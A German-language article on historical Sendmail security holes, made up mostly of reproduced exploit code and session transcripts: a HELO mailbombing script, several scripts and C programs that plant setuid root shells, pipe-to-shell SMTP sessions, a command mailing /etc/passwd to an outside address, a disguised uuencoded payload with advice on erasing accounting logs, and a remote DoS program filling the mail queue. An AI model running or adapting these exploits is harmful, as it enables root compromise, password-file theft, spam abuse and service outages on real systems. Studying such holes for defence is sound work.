Die Sicherheit von Sendmail
Marc Ruef
Einführung

Der Daemon Sendmail ist für Unix-Systeme und -Derivate die bekannteste Realisation eines Mail-Transport-Programms, welches standartmässig auf Port 25 verbindet bzw. sendet. Der englische Fach-Ausdruck  für solche lautet "Mail Transport Agent", oder abgekürzt MTA. Sendmail unterstützt neben SMTP (Simple Mail Transport Protocol) weitere Protokolle wie UUCP (Unix to Unix Copy Protocol), Fax und POP (Post Office Protocol). Die Möglichkeiten, die sich dadurch ergeben, lassen schon die gewonnene Komplexität des Programms erahnen, welche ganz und gar nicht mit der Einfachheit des eingesetzten Mail-Protokolls verglichen werden kann. Wo jedoch eine enorme Komplexität vorhanden ist, herrscht auch dementsprechend das Klima einer erhöhten Gefahr, da die Überblickbarkeit der Sicherheit exponentiell zu verringern droht.

Die Konfiguration

Die Konfiguration kann auf zwei Arten erfolgen. Zum Einen durch das Editieren der Datei sendmail.cf, oder durch das Erstellen einer m4-Makrodatei, welche durch den Makroprozessor eine gültige sendmail.cf-Datei erstellt. Das als letzteres genannte Verfahren wird erst Seit Version 8 (wird auch V8 genannt) und von der IDA-Erweiterung von Sendmail unterstützt.

Die Sicherheitslöcher

Eine nicht wirklich als gefährlich einzuschätzende Gefahr ist das Versenden von scheinbar authentischen Mails, da SMTP grundsätzlich keine Verifizierung des Senders vornimmt. Diese Sicherheitslücke ist jedoch mehr dem Protokoll selber zuzuschreiben, weder dem Mail-Daemon.

Die potentielle Gefahr eines Hacks durch einen Aussenstehenden, die von Sendmail selber realisiert wird - so wie dies bei jedem laufenden Service auf einem Host grundsätzlich der Fall ist -, heimste dem Programm den etwas zynischen Kommentar "The buggiest daemon on planet earth" ein.  Aus diesem Grunde empfiehlt es sich auf Sendmail zu verzichten, sofern dies möglich ist.

Um die Sicherheitslücke auszunutzen, die durch Sendmail zu Tage gefördert wird, ist meist ein Shell-Account, egal ob Gast oder User, auf dem System von Vorteil, um im Mindesten an die Versions-Nummer des zu Einsatz kommenden Programms zu kommen. Ein solcher kann des öfteren mittels den berüchtigten Default-Logins ergattert werden, wie sie oft auf standartmässig konfigurierten System anzutreffen sind.

Anonymer Spam dank eines Fehlers bei der Implementation des HELO-Kommandos

Für Spammer war es bis zur Version 8.9.x möglich beim Versenden von E-Mails mit falschem Absender die eigene IP-Adresse zu verstecken: Standartmässig wird eine kleine Beschreibung des Absenders in Form des Host-Namens und dessen Adresse an das Mail angehängt bzw. in dessen Header festgehalten. Dies erlaubt natürlich dem Empfänger einer E-Mail den Punkt des Versandes der vielleicht unerwünschten Mail ausfindig zu machen, oder wenigstens zu erahnen.

Es gibt jedoch ein kleines Sicherheitsloch, welches dem Sender einer Mail erlaubt seinen Absender erfolgreich zu verschleiern: Die HELO-Zeile beim Anmelden muss mehr als 1024 Bytes enthalten, wodurch ein kleiner Erfolg erzielt werden kann.

Diese Fehlimplementation des HELO-Kommandos kann in der Sendmail Version 8.8.8 mit einer Nachimplementierung und Re-Komplimpilierung von "#define PICKY_HELO_CHECK 1" in conf.h behoben werden. Jenes wird Sendmail dazu zwingen eine primitiveAuthentifizierung des Benutzers und ein X-Authentication-Warning-Eintrag in den jeweiligen Headern der Mails vorzunehmen.

Folgend nun der Source zu einem Exploit, welches die Fehlimplementation des HELO-Kommandos ausnutzt:

#!/bin/bash
TMPDIR=/tmp/`whoami`
PLIK=$TMPDIR/.safe
TIMEOUT=2
LIMIT=10
MAX=20

echo
echo "SafeBomb 1.02b -- sendmail HELO hole usage example"
echo "Author: Michal Zalewski <lcamtuf@boss.staszic.waw.pl>"
echo

if [ "$4" = "" ]; then
  echo "USAGE: $0 msgfile address server sender"
  echo
  echo "  msgfile - file to send as a message body"
  echo "  address - address of lucky recipient"
  echo "  server  - outgoing smtp server w/sendmail"
  echo "  sender  - introduce yourself"
  echo
  echo "WARNING: For educational use ONLY. Mailbombing is illegal."
  echo "Think twice BEFORE you use this program in any way. Also,"
  echo "I've never said this program is 100% safe nor bug-free."
  echo
  sleep 1
  exit 0
fi

if [ ! -f $1 ]; then
  echo "Message file not found."
  echo
  exit 0
fi

echo -n "Preparing message..."
mkdir $TMPDIR &>/dev/null
chmod 700 $TMPDIR
echo "echo \"helo _safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__sa
febomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__saf
ebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safe
bomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safeb
omb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebo
mb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebom
b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb
b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb
__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_
_safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_\"" >$PLIK
echo "echo \"mail from: \\\"$4\\\"\"" >>$PLIK
echo "echo \"rcpt to: $2\"" >>$PLIK
echo "echo \"data\"" >>$PLIK
echo "cat <<__qniec__" >>$PLIK
cat $1 >>$PLIK
echo "__qniec__" >>$PLIK
echo "echo \".\"" >>$PLIK
echo "echo \"quit\"" >>$PLIK
echo "sleep $TIMEOUT" >>$PLIK
chmod +x $PLIK
echo "OK"

echo "Sending $1 (as $4) to $2 via $3 -- Ctrl+Z to abort."
SENT=0

while [ -f $1 ]; do
  $PLIK|telnet $3 25 &>/dev/null &
  let SENT=SENT+1
  echo -ne "Sent: $SENT\b\b\b\b\b\b\b\b\b\b\b\b\b"
  CONNECTED=`ps|grep -c "telnet $3"`
  if [ "$LIMIT" -le "$CONNECTED" ]; then
    while [ "$LIMIT" -le "$CONNECTED" ]; do
      sleep 1
    done
  fi
  if [ "$SENT" -ge "$MAX" ]; then
    echo "It's just an example, sorry."
    echo
    exit 0
  fi
done

Dieses Script funktioniert modifiziert in Version 8.8.8 von Sendmail, wobei es bei einem Angriff auf Version 8.9.x unausweichlich seine Wirkung verliert.

Ausführen von Programmcode mit User-Rechten

Wenn ein Mail von Sendmail in die Warteschlange geschickt wird, wird etwas wichtiges in das Spool-Directory geschrieben, welches sich auf den meisten Systemen unter "/var/spool/mqueue" findet. Eine Datei namens "qf*" enthält alle Informationen - so auch den Mail-Header - der sich in der Warteschlange befindlichen Mails. In den Sendmail-Versionen vor 8.6.10 war es nun möglich im Header die Empfänger-Adresse zu manipulieren und neue Zeilen hinzuzufügen, welche das Ausführen von Programmen mit den Rechten des Users erlauben werden. Folgend nun das Exploit von Michael R. Widner:

/* smh.c - Michael R. Widner - atreus (2/27/95)
 *
 * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
 * hole.  It's really just a matter of passing newlines in arguments to
 * sendmail and getting the stuff into the queue files.  If we run this
 * locally with -odq we are guaranteed that it will be queue, rather than
 * processed immediately.  Wait for the queue to get processed automatically
 * or just run sendmail -q if you're impatient.

 * usage: smh [ username [/path/to/sendmail]]

 * It's worth noting that this is generally only good for getting bin.
 * sendmail still wants to process the sendmail.cf file, which contains
 * Ou1 and Og1 most of the time, limiting you to bin access.  Is there
 * a way around this?

 * cc -o smh smh.c should do the trick.  This just creates a bin owned
 * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh.  Note that on some
 * systems this is pretty much worthless, but you're smart enough to know
 * which systems those are.  Aren't you?
 */

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

main(argc, argv)
int argc;
char **argv;
{
        execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p",
        "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal,
P=/bin/sh, F=lsDFMeu,
A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777
/tmp/newsh\">\n$rascii ",
        argv[1] ? argv[1] : "atreus",0);
}

Beliebige Pipe dank Fehlimplementation des Debug-Kommandos

Dieser Fehler wurde unter anderem vom berühmt berüchtogten Internet-Worm von Robert T. Morris Jr. Genutzt, welcher das Ausführen von beliebigen Programmen auf dem Ziel-Rechner erlaubte. Auf simpelste Weise musste einfach das Debug-Kommando mit einer Pipe zu /bin/sh als Empfänger gewählt werden, wobei dort die zur Ausführung gewünschten Informationen enthalten sein mussten.

Falls der Sendmail-Server mit der Nachricht "200 Debug set" meldet, ist die Chance relativ gross, dass dieser Fehler ausgenutzt werden könnte.

Beispiel-Seission:

#!/bin/sh
telnet << EOF
open victim.com 25
debug
mail from: </dev/null>
rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\">
data

cp /bin/sh /tmp/bug # oder alternativ:
chmod 4755 /tmp/bug # echo "+ +" >> /.rhosts
.
EOF

Das erste Sendmail-Backdoor: Wiz

Eine der ältesten und simpelsten Möglichkeiten des Nutzens eines Backdoors von SMTP ist das sogenannte "Wiz-Backdoor". Nach dem Herstellen einer Verbindung zu einem Host musste einfach "wiz" und danach "SHELL" eingegeben werden, um eine Root-Shell zu erhalten.

Daemon-Shell dank Tail

In Version 5.65 war es durch einen Bug möglich die uid des Daemons oder eines beliebigen Users zuerhalten. Folgende Sonderheiten müssen dabei jedoch gegeben sein: Das From-Feld oder mögliche Error-To-Zeilen im Header müssen durch eine Pipe manipuliert worden sein. Dadurch können Programme mit den Rechten des Sendmail-Daemons ausgeführt werden. Ein Fehler muss bei der Zustellung des Mails erfolgen, damit die Pipes in den verschiedenen Einträgen im Header aktiviert werden.
Falls diese beiden Bedingungen erfüllt sind, kann der Fehler ausgenutzt werden. Typische Pipes sind zum Beispiel:

|/usr/ucb/tail|/usr/bin/sh bzw. |/usr/ucb/tail|/bin/sh

Diese Sicherheitslücke funktioniert anstandslos bei SunOS 4.1.3, wobei andere Systeme /usr/bin oder /bin verwenden.

Es gibt auch noch andere Wege, um diese Sicherheitslücke auszunutzen. Zuvor verwendeten wir Pipes in den verschiedenen Zeilen des Headers der Mail. Es gibt die Möglichkeit Sendmail dazu zu veranlassen, die letzten zehn Zeilen eines Mails mit den Rechten des Daemons auszuführen.

[panix!jhawk] |% telnet panix.com 25
Trying 198.7.0.2 ...
Connected to panix.com.
Escape character is '^]'.
220 panix.com 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13
-0500
HELO
250 Hello panix.com, why do you call yourself ?
MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
RCPT TO: root
250 root... Recipient ok
DATA
354 Enter mail, end with @.@ on a line by itself
 From: jhawk"panix.com (John Hawkinson)
  To: jhawk"panix.com (John Hawkinson)
  Return-Receipt-To: |foobar
  Subject: This is a large hole in the ground.
  X-Disclaimer: We take no responsibility for what might happen

#!/bin/sh
#The above line is just in case :-)
echo This is a Serious Bug > /tmp/bug
echo id reports: >> /tmp/bug
/usr/bin/id >> /tmp/bug
echo Fixing this would be good >> /tmp/bug
cp /bin/sh /tmp/bugshell
chmod u+s /tmp/bugshell
echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug
chmod ugo+rx /tmp/bugshell
.
250 Ok
quit
221 panix.com closing connection
4.6 DoS-Attacke dank der "-d###########"-Option
Dieser Bug kommt in allen Sendmail Versionen 8.x.x bis 8.6.7 vor. Das untenstehende Script stammt von Michael Widner, welcher diesen Fehler auf Bugtraq das erste mal der Öffentlichkeit präsentierte. Das Script funktioniert einwandfrei auf SunOS- und Solaris-Systemen.

Ein interessantes Feature von den besagten Sendmail-Versionen ist, dass der Daemon crasht, sobald etwas wie zum Beispiel "-d123456789" eingegeben wird, was natürlich Root-Zugriff zur Folge hat.

Das folgende Script ist für das Nutzen in einer Sun-Umgebung ausgelegt. Natürlich sind für diese besonders angriffigen Systeme schon seit längerer Zeit patches im Umlauf. Das Script erstellt eine suid-Kopie von "/bin/sh" in "/tmp" welche von root besitzt wird.

#!/bin/sh
# This script takes advantage of sendmail's (mis)interpretation of
# very large unsigned ints as signed ints when accessing the debug
# array.  As it, it will work with the 8 versions of sun sendmail
# that I have access to.  Perhaps I'll update it if I find new
# versions of sun sendmail.
# NOTE:  This is a Sun specific script.  Don't expect it to work with
#        any non-sun sendmail.
# -Michael R. Widner (atreus)        3/25/94
#
# usage:  smdhole [/path/to/suid/sendmail]
#

# add /usr/ucb to path so solaris can find `whoami` (4/18/94)
path=$path:/usr/ucb

if [ $1x = x ]; then
        sendmail=/usr/lib/sendmail
else
        echo "Trying to abuse $1."
        sendmail=$1
fi

sm_size=`echo \`ls -l $sendmail\` | cut -d" " -f4,5 | sed "s/[^0-9]//g`

# prefix and suffix for -1 as unsigned integer.  Actually, this is
# off by two.  you figure out why.
prefix=42949
suffix=67297

case $sm_size in
        132064)
                n1=${prefix}52864
                n2=${prefix}52865
                n3=${prefix}52866
                echo Patched solaris w/o mx.
                ;;
        134752) # ug! dropped a 0 before.  fixed 4/18/94
                n1=${prefix}01656
                n2=${prefix}01657
                n3=${prefix}01658
                echo Patched solaris sendmail.mx
                ;;
        130860)
                n1=${prefix}53016
                n2=${prefix}53017
                n3=${prefix}53018
                echo Un-patched solaris w/o mx.
                ;;
        133548) # ug! dropped a 0 before.  fixed 4/18/94
                n1=${prefix}01808
                n2=${prefix}01809
                n3=${prefix}01810
                echo Un-patched solaris sendmail.mx
                ;;
        139264)
                n1=${prefix}49609
                n2=${prefix}49610
                n3=${prefix}49611
                echo Sun 4.1.3 sendmail - could be either of two versions
                n4=${prefix}49265
                n5=${prefix}49266
                n6=${prefix}49267
                ;;
        155648)
                n1=${prefix}46953
                n2=${prefix}46954
                n3=${prefix}46955
                echo Sun 4.1.3 sendmail.mx - could be either of two versions
                n4=${prefix}46609
                n5=${prefix}46610
                n6=${prefix}46611
                ;;
        *)
                echo "I don't know what version of sendmail $sendmail is."
                echo -n "Look for other versions of sendmail[.mx] on the "
                echo "system and re-run this as:"
                echo "     $0 /path/to/another/suid/sendmail"
                echo
                echo "Let me see if I can suggest anything..."
                find /usr/lib /var/sadm/patch -name "*sendm*" -perm -4001
-ls 2>/dev/null
                exit 1
                ;;
        esac

cat << EOM > /tmp/sendmail.cf
DMether
DRlocalhost
CRlocalhost
CDMailer-Daemon root daemon uucp
DlFrom \$g  \$d
Do.:%@!^=/[]
Dq\$g\$?x (\$x)\$.
De\$j nothing
OA./aliases
OF0666
Og1
OL0
Oo
OPPostmaster
OQ.
Os
Ou1
T root daemon uucp

H?F?From: nobody

Mlocal, P=/tmp/in.telnet, F=flsSDFMmnP, S=10, R=20, A=mail -d \$u
Mprog,  P=/tmp/in.telnet,   F=lsDFMeuP,  S=10, R=20, A=sh -c \$u

S0
R\$+                    \$#local \$:\$1                 just rewrite
EOM

cat $0 | sed "s:atreus::" | uudecode
uncompress /tmp/in.telnet.Z
chmod 755 /tmp/in.telnet

mkdir /tmp/mail
cp /tmp/sendmail.cf /tmp/mail

cp /bin/sh /tmp/newsh
chmod 666 /tmp/newsh

$sendmail -d${n1}.116,${n2}.109,${n3}.112 `whoami`  <<EOF

test
EOF

if [ -x /tmp/newsh ]; then
        echo "Had the right offset for sendmail.cf.  Here's the result:"
else
        echo "Looks like I had the wrong sendmail.cf offset.  Fuckers."
        if [ ${n4}x = x ]; then
                echo "This version isn't what I thought it was."
                echo "Look for other suid sendmails and try this on them."
        else
                echo "I'm taking another stab with a different offset."
$sendmail -d${n4}.116,${n5}.109,${n6}.112 `whoami` <<EOF

test
EOF
                echo "Here's the result:"
        fi
fi

rm /tmp/in.telnet
rm -r /tmp/mail
rm /tmp/sendmail.cf
ls -l /tmp/newsh

exit

# I'm calling this in.telnet for one reason.  It shows up in the acct logs
# as being run by root.  It will attract less attention if it's something
# normally run by root.  An alert admin will catch is anyway, because
# in.telnet is normally not associated with a tty.  The obvious fix, if you
# want to go undetected, would be to modify the acct files once you've
# become root.
begin 775 /tmp/in.telnet.Z
M'YV0@08$6    (B"!A$J5 CBX,*"O" Q2RA)! %(atreus
M5$,).9]$%38!E!= H,(LP$LV*KJ*8(15)".N(AI2!6Q*(@ HPM6U6<#H0N.!B?A-(#4!5>PGGT9atreus
M068Z7==^%;%A[ BS!U6]5@P*#4V;. $L*)YY,P%@$LP"B' [-X#=O=56&'N!atreus
M]4'J<$(""V!.*1]U2@&Q4TJHY5J8,@FC%"+^00 3&, (" HC_B$@" 1@D*$@atreus
M))R!$, GQ!0$'1^!' ,. H&@4;"CP$@ EIKMFFatreus
MG%-6>24;66X)0AMAP %'&FZ< 8(98:3!1AURE)'G0A3TR::;<'H)IIADXKG0atreus
M"W2T <<+;I1QQQQH%#35+Y",%40(+OET@!X5 @ )!2)  AT MN;AF:Z\Q@K atreus
M 7F8E4([MJZ1:X<?AOC0JY DAY( ((!3UR__$-: )!)D"XT 8%!FEXLY)3"Latreus
M)>02\*LD[8X+Q )U'20!M_U\!$H DDB24W8*6"M*N."$H@(8 D!#P'B?P&03atreus
M0J 0\@,_,N"K\'C0@BBB5%15>Y(TV')3%QCH I  *.%R  0BI51#1!36 $ 4(1>7X0Y$5)%M!!R"TL$L(50[ atreus
MI8N8&A"-4WJ:/7H#?P%H]060%G&Z00P!DP-, 8NA9 D\&B*,Gatreus
M"Y$-X$=!(M1=D R9%R"'4$06M$/F!^0@E$)%? ^*GDO@R0% IQ I") %>LI"atreus
M9 A@BH*,@!0("0-/B**G-)"/#GJ20^9,(Q1H((00HSM ')Z'D$F,3@#3$ HXatreus
M$"**R!@@#P[$ D)JX<)$L&^%!4%&_/X'+&1\H0QT* ,>,/A#,H2!#F$ P _=atreus
M0 8 S &):G(B%.GP!3.PX0U'5.(/\9 &(B**44HL@QOLD(8RN4&+1,B"$X+0atreus
MA"0,(8Q<).(8T-"&-S3Q"W-\PQW.^(4^?I&/X88M=U*(0N_@%atreus
M,M2A#6W(0R/+,(:L]?$+0Z#"$Z3P!28D80I4Z*,6OT $37+2DZ 4Y27)\(8Oatreus
MG.&*8@@#&_!(AS?(80ZC9*4K82G+1M;REHJ,8R,?&1"=*T8I:]*(8S:A&-\K1CGKTHR -J4A'2M*2FO2D*$VI2E?*TI:Z]*4Patreus
MC:E,9TK3FMKTICC-J4YWRM.>^O2G0 VJ4(=*U*(:]:A(3:I2E\K4ICKUJ5"-atreus
MJE2G2M6J6O6J6,VJ5K?*U:YZ]:M@#:M8QTK6LIKUK&A-JUK7RM:VNO6M<(VKatreus
M7.=*U[K:]:YXS>M2_0,$UP&+!"'V!BPN"(5D !B !W4"6)U0;R&5*P Ratreus
M$()#[@$ L3XQ7"" 0;*HO H43OL'/SQ+%= ^+1]!"YT(VN=*=+atreus
MW>I:][K8S:YVM\O=[GKWN^ -KWC'2][RFO>\Z$VO>M?+WO:Z][WPC:]\YTO?atreus
+^MKWOOC-KW[WFUS=atreus
 atreus
endatreus

Folgend ein anderes Script, welches ich in der "small version" gebannt habe. Dieses programm nutzt "calc.c" und sollte geringfügig vom Benutzer modifiziert werden, um die Erfolgschancen dementsprechend zu erhöhen.

Script started on Thu Mar 24 00:54:54 1994
[pine] [1] date
Thu Mar 24 00:54:57 MST 1994
[pine] [2] whoami
jwa
[pine] [3] id
uid=4473(jwa) gid=400(student)
[pine] [4] ls -l sendbug.sh
-rwx------   1 jwa      student     4893 Mar 24 00:46 sendbug.sh*
[pine] [5] sendbug.sh
Creating setid0 ...
Creating calc...
Scanning core image for /nau/local/lib/mail/sendmail.cf...
Creating alias.sh ...
Creating fake alias file...
Faking alias pointer in new config file...
Creating the sendmail script...
Executing /usr/lib/sendmail -
d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,4294935553.115,429
4935554.109,4294935555.46,4294935556.9
Version 8.6.4
220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar 1994
00:55:21 -0700
220 ESMTP spoken here
250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you
250 ... Sender ok
250 ... Recipient ok
354 Enter mail, end with "." on a line by itself
250 AAA01803 Message accepted for delivery
503 Need MAIL before RCPT
503 Need MAIL command
500 Command unrecognized
500 Command unrecognized
221 pine.cse.nau.edu closing connection
setid0 is a suid shell.  executing...
executing /bin/csh...
pine# whoami
root
pine# id
uid=0(root) gid=0(root)
pine# exit
pine# end of script.

Und hier ist das Programm:

#!/bin/sh
# exploit new sendmail bug to give us a root shell
# 24 mar 94  jwa/scd @nau.edu
# "short version"
# tested on sunos 5.2/sendmail 8.6.4

# location of sendmail
SENDMAIL=/usr/lib/sendmail

# location of original sendmail.cf file
CONFIG=/nau/local/lib/mail/sendmail.cf
#CONFIG=`strings $SENDMAIL | grep sendmail.cf`

# program to execute as root
SHELL=/bin/csh

TEMPDIR=/tmp/sendbug-tmp.$$
mkdir $TEMPDIR
chmod 700 $TEMPDIR
cd $TEMPDIR

cp $SENDMAIL sm
chmod 700 sm

echo "Creating setid0 ..."
cat > setid.c << _EOF_

/* set uid to zero, thus escaping the annoying csh and solaris sh
 * problem..
 *
 * if (getuid() != geteuid()) {
 *  printf("permission denied, you root-hacker you.\n");
 *  exit(1);
 * }
 *
 * .. must be run euid 0, obviously.  with no args it runs /bin/sh,
 * otherwise it runs the 1st arg.
 */

#include <stdio.h>

main(argc, argv)
int argc;
char *argv[];

 int uid;

 setuid(0);
 setgid(0);
 seteuid(0);  /* probabally redundant. */
 setegid(0);

 uid = getuid();

 if (uid != 0) {
  printf("setuid(0); failed!  aborting..\n");
  exit(1);
 }

 if (argc !=2) {
  printf("executing /bin/sh...\n");
  system("/bin/sh");
 }
  else
 {
  printf("executing %s...\n", argv[1]);
  system(argv[1]);
 }

_EOF_

cc -o setid0 setid.c

echo "Creating calc..."

cat > calc.c << _EOF_
/*
 * Determines offset in sendmail of
 * sendmail.cf file location.
 * author: timothy newsham
 */
#include <fcntl.h>

gencore()

  int pid;
  int fd[2];

  if(pipe(fd) < 0) {
    perror("pipe");
    exit(1);
    return(0);
  }
  pid = fork();
  if(!pid) {
    int f = open("./out", O_RDWR|O_CREAT, 0666);
    dup2(f, 1); dup2(fd[0], 0);
    close(f); close(fd[1]); close(fd[0]);
    execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
    perror("exec");
    exit(0);
  } else {
    sleep(2);
    kill(pid, 11);
  }
  close(fd[0]);
  close(fd[1]);
 

main(argc,argv)
char **argv;
int argc;

  unsigned int ConfFile,tTdvect,off;

  gencore();
  sync();   /* grr. */
  tTdvect = find("ZZZZZZZZ", "core");
  ConfFile = find(argv[1], "core");
  if(!tTdvect || !ConfFile) {
   return(1);
  }
  off = ConfFile - tTdvect;
 

printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",  off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \
  off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);

int find(pattern, file)
char *pattern,*file;

  int fd;
  int i, addr;
  char c;

  fd = open(file, 0);

  i = 0;
  addr = 0;
  while(read(fd, &c, 1) == 1) {
    if(pattern[i] == c)
      i++;
    else
      i=0;
    if(pattern[i] == '\0') {
      addr -= strlen(pattern);
      return(addr);
    }
    addr++;
  }
  return(0);

_EOF_
cc calc.c -o calc

echo "Scanning core image for $CONFIG..."

DEBUGFLAGS=`calc $CONFIG`

echo "Creating alias.sh ..."
echo "#!/bin/sh
# this program will be executed when mail is sent to the fake alias.
# since solaris sh and csh and tcsh refuse to run when euid != realuid,
# we instead run the program we compiled above.

/bin/chmod 6777 $TEMPDIR/setid0
/bin/chown root $TEMPDIR/setid0
/bin/sync

" > alias.sh

chmod 755 alias.sh

echo "Creating fake alias file..."
echo "yash: |$TEMPDIR/alias.sh" > aliases

echo "Faking alias pointer in new config file..."
egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
echo "
# hacks follow

OA/$TEMPDIR/aliases                     # our fake alias file
Ou0                                     # user ID to run as
Og0                                     # group ID to run as
DZWHOOP-v1.0" >> /tmp/sm.cf

echo "Creating the sendmail script..."

cat > sendmail.script << _EOF_
helo
mail from: <nobody>
rcpt to: <yash>
data
yet another sendmail hole?  suid whoop?
\.                                      # oops.. delete \ prior to execution
quit
_EOF_

echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."

$SENDMAIL $DEBUGFLAGS -bs < sendmail.script

# give it time to execute.
sleep 4

# cleanup in 5 seconds
(sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &

if [ -u setid0 ]
then
 echo "setid0 is a suid shell.  executing..."
 cd /
 $TEMPDIR/setid0 /bin/csh
 echo "end of script."
 exit 0
else
 echo "setid0 is not suid; script failed."
 echo "apparently, you don't have the bug.  celebrate :-)"
 exit 1
fi

Einfügen von Pipes in Zeilen des Mail-Headers

In der Version 5.55 kann jeder Anwender normale Shell-Kommandos und Pfad-Angaben in die Empfänger- und Absender-Zeilen schreiben. Eine typische Attacke, um an die Passwort-Datei auf einem System zu kommen, erfolgt in etwa so:

% telnet victim.com 25
Trying 62.32.77.89...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Fri, 10 Mar 00 22:17
mail from: "|/bin/mail admin@domain.org < /etc/passwd"
250 "|/bin/mail admin@domain.org < /etc/passwd"... Sender ok
rcpt to: eddievedder
550 eddievedder... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
%

Entfernte DoS-Attacke

Der Quelltext von smdos.c, welcher sich untenstehend findet, ermöglicht eine entfernte DoS-Attacke auf ein System, welches Relaying nutzt. Dieses Programm füllt heimlich leise und ziemlich schnell die gesamte Partition, welche /var/spool/mqueue beherbergt. Zu erwähnen sei unbedingt, dass die Kontroll-Dateien, welche von smdos.c erstellt werden sich im Besitze von Root befinden werden. Die BSIZE-Definition im nun folgenden Quellcode erlaubt das Regeln der Grösse der eingesetzten Nachrichten; natürlich kann auch die Variable von MAXCONN angepasst werden.

/*
By Michal Szymanski <siwa9@box43.gnet.pl>

Sendmail DoS (up to 8.9.3);

Sat Apr  3 00:12:31 CEST 1999
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>

#undef VERBOSE          /* define it, if MORECONN is undefined */

#define MORECONN

// #define RCPT_TO      "foo@ftp.onet.pl"

#define RCPT_TO "foo@10.255.255.255"

#ifdef MORECONN
#define MAXCONN 5
#endif

#define BSIZE   1048576         /* df* control file size */
#define PORT    25

char buffer[BSIZE];
int sockfd,x,loop,chpid;

void usage(char *fname) {
fprintf(stderr,"Usage: %s <victim_host>\n",fname);
exit(1);
}

void say(char *what) {

if (write(sockfd,what,strlen(what))<0) {
perror("write()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,"<%s",what);
#endif

bzero(buffer,BSIZE);

usleep(1000);

if (read(sockfd,buffer,BSIZE)<0) {
perror("read()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,buffer);
#endif
}
 

int main(int argc,char *argv[]) {
struct sockaddr_in serv_addr;
struct hostent *host;
char *hostname,hostaddr[20];

fprintf(stderr,"Sendmail DoS (up to 8.9.3) by siwa9 [siwa9@box43.gnet.pl]\n");

if (argc<2) usage(argv[0]);

#ifdef VERBOSE
fprintf(stderr,">Preparing address. \n");
#endif

hostname=argv[1];

serv_addr.sin_port=htons(PORT);
serv_addr.sin_family=AF_INET;

if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) {

#ifdef VERBOSE
fprintf(stderr,">Getting info from DNS.\n");
#endif

if ((host=gethostbyname(hostname))==NULL) {
herror("gethostbyname()");
exit(h_errno);
}

serv_addr.sin_family=host->h_addrtype;

bcopy(host->h_addr,(char *)&serv_addr.sin_addr,host->h_length);

#ifdef VERBOSE
fprintf(stderr,">Official name of host: %s\n",host->h_name);
#endif

hostname=host->h_name;

sprintf(hostaddr,"%d.%d.%d.%d",(unsigned char)host->h_addr[0],
                               (unsigned char)host->h_addr[1],
                               (unsigned char)host->h_addr[2],
                               (unsigned char)host->h_addr[3]);

}
else sprintf(hostaddr,"%s",hostname);

#ifdef MORECONN
for (;loop<MAXCONN;loop++) if (!(chpid=fork())) {
#endif

for(;;) {

bzero(&(serv_addr.sin_zero),8);

if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) {
perror("socket()");
exit(errno);
}

if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))) == -1) {
perror("connect()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,">Connected to [%s:%d].\n",hostname,PORT);
#endif

bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);
#ifdef VERBOSE
fprintf(stderr,buffer);
#else
fprintf(stderr,".");
#endif

say("helo foo\n");
say("mail from:root@localhost\n");
say("rcpt to:" RCPT_TO "\n");
say("data\n");

for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE);

say("\n.\n");
sleep(1);
say("quit\n");

shutdown(sockfd,2);

close(sockfd);

#ifdef VERBOSE
fprintf(stderr,">Connection closed succesfully.\n");
#endif
}
#ifdef MORECONN
}
